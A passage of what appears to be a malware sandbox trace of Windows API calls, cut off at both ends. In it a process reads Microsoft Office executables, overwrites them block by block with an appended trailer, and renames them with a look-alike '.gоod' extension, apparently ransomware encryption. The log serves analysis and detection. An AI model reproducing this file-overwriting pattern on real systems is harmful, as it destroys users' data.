office\\root\\office16\\powerpnt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.139] GetFileType (hFile=0x644) returned 0x1 [0167.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0167.139] GetFileType (hFile=0x644) returned 0x1 [0167.139] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1c40b0 [0167.139] WriteFile (in: hFile=0x644, lpBuffer=0x3587470*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3587470*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0167.140] CloseHandle (hObject=0x644) returned 1 [0167.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", lpFilePart=0x0) returned 0x3c [0167.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0167.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.141] GetFileType (hFile=0x644) returned 0x1 [0167.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0167.141] GetFileType (hFile=0x644) returned 0x1 [0167.141] ReadFile (in: hFile=0x644, lpBuffer=0x3589c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3589c30*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0167.253] CloseHandle (hObject=0x644) returned 1 [0167.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", lpFilePart=0x0) returned 0x3c [0167.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0167.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.254] GetFileType (hFile=0x644) returned 0x1 [0167.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0167.254] GetFileType (hFile=0x644) returned 0x1 [0167.254] WriteFile (in: hFile=0x644, lpBuffer=0x33f3a38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33f3a38*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0167.254] CloseHandle (hObject=0x644) returned 1 [0167.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", lpFilePart=0x0) returned 0x3c [0167.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE.gоod", lpFilePart=0x0) returned 0x41 [0167.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0167.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6030bfe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd95b0a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5fe6de55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c40c0)) returned 1 [0167.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0167.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe.gоod")) returned 1 [0167.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0167.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0167.257] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x340c9e8 | out: lpFileInformation=0x340c9e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x215db4dd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x158)) returned 1 [0167.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0167.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0167.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0167.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.546] GetFileType (hFile=0x644) returned 0x1 [0167.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0167.546] GetFileType (hFile=0x644) returned 0x1 [0167.546] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x158 [0167.546] ReadFile (in: hFile=0x644, lpBuffer=0x34036b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x34036b0*, lpNumberOfBytesRead=0x1f59e768*=0x158, lpOverlapped=0x0) returned 1 [0167.547] CloseHandle (hObject=0x644) returned 1 [0168.082] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0168.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0168.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.083] GetFileType (hFile=0x63c) returned 0x1 [0168.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0168.083] GetFileType (hFile=0x63c) returned 0x1 [0168.083] WriteFile (in: hFile=0x63c, lpBuffer=0x365a538*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x365a538*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0168.084] CloseHandle (hObject=0x63c) returned 1 [0168.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0168.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x58 [0168.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0168.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x60653b49, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0168.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0168.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml.gоod")) returned 1 [0168.085] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", lpFilePart=0x0) returned 0x3a [0168.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0168.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), fInfoLevelId=0x0, lpFileInformation=0x365b910 | out: lpFileInformation=0x365b910*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x21057dcc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21673e23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x359640)) returned 1 [0168.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0168.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", lpFilePart=0x0) returned 0x3a [0168.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.086] GetFileType (hFile=0x63c) returned 0x1 [0168.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.086] GetFileType (hFile=0x63c) returned 0x1 [0168.087] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0168.087] ReadFile (in: hFile=0x63c, lpBuffer=0x365bd18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x365bd18*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0168.088] CloseHandle (hObject=0x63c) returned 1 [0168.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", lpFilePart=0x0) returned 0x3a [0168.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.088] GetFileType (hFile=0x63c) returned 0x1 [0168.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.088] GetFileType (hFile=0x63c) returned 0x1 [0168.089] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x359640 [0168.089] WriteFile (in: hFile=0x63c, lpBuffer=0x365cfb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x365cfb0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0168.090] CloseHandle (hObject=0x63c) returned 1 [0168.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", lpFilePart=0x0) returned 0x3a [0168.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.090] GetFileType (hFile=0x63c) returned 0x1 [0168.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.090] GetFileType (hFile=0x63c) returned 0x1 [0168.091] ReadFile (in: hFile=0x63c, lpBuffer=0x365f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x365f250*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0168.387] CloseHandle (hObject=0x63c) returned 1 [0168.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", lpFilePart=0x0) returned 0x3a [0168.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.387] GetFileType (hFile=0x63c) returned 0x1 [0168.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.387] GetFileType (hFile=0x63c) returned 0x1 [0168.387] WriteFile (in: hFile=0x63c, lpBuffer=0x3420680*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3420680*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0168.387] CloseHandle (hObject=0x63c) returned 1 [0168.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE", lpFilePart=0x0) returned 0x3a [0168.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE.gоod", lpFilePart=0x0) returned 0x3f [0168.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0168.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x21057dcc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6094ea32, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x359650)) returned 1 [0168.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0168.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe.gоod")) returned 1 [0168.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", lpFilePart=0x0) returned 0x3c [0168.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0168.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), fInfoLevelId=0x0, lpFileInformation=0x35213a8 | out: lpFileInformation=0x35213a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ccc9d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x18ccc9d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x18f2ea7, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32ed0)) returned 1 [0168.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0168.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", lpFilePart=0x0) returned 0x3c [0168.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.390] GetFileType (hFile=0x63c) returned 0x1 [0168.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.390] GetFileType (hFile=0x63c) returned 0x1 [0168.390] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0168.390] ReadFile (in: hFile=0x63c, lpBuffer=0x35217a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35217a0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0168.391] CloseHandle (hObject=0x63c) returned 1 [0168.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", lpFilePart=0x0) returned 0x3c [0168.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.391] GetFileType (hFile=0x63c) returned 0x1 [0168.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.391] GetFileType (hFile=0x63c) returned 0x1 [0168.392] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x32ed0 [0168.392] WriteFile (in: hFile=0x63c, lpBuffer=0x3522a28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3522a28*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0168.392] CloseHandle (hObject=0x63c) returned 1 [0168.392] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", lpFilePart=0x0) returned 0x3c [0168.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0168.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0168.393] GetFileType (hFile=0x63c) returned 0x1 [0168.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0168.393] GetFileType (hFile=0x63c) returned 0x1 [0168.393] ReadFile (in: hFile=0x63c, lpBuffer=0x3524cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3524cd8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0169.259] CloseHandle (hObject=0x63c) returned 1 [0169.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", lpFilePart=0x0) returned 0x3c [0169.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.260] GetFileType (hFile=0x63c) returned 0x1 [0169.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.260] GetFileType (hFile=0x63c) returned 0x1 [0169.260] WriteFile (in: hFile=0x63c, lpBuffer=0x3427b40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3427b40*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0169.260] CloseHandle (hObject=0x63c) returned 1 [0169.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE", lpFilePart=0x0) returned 0x3c [0169.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE.gоod", lpFilePart=0x0) returned 0x41 [0169.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0169.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ccc9d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x18ccc9d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x61199816, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 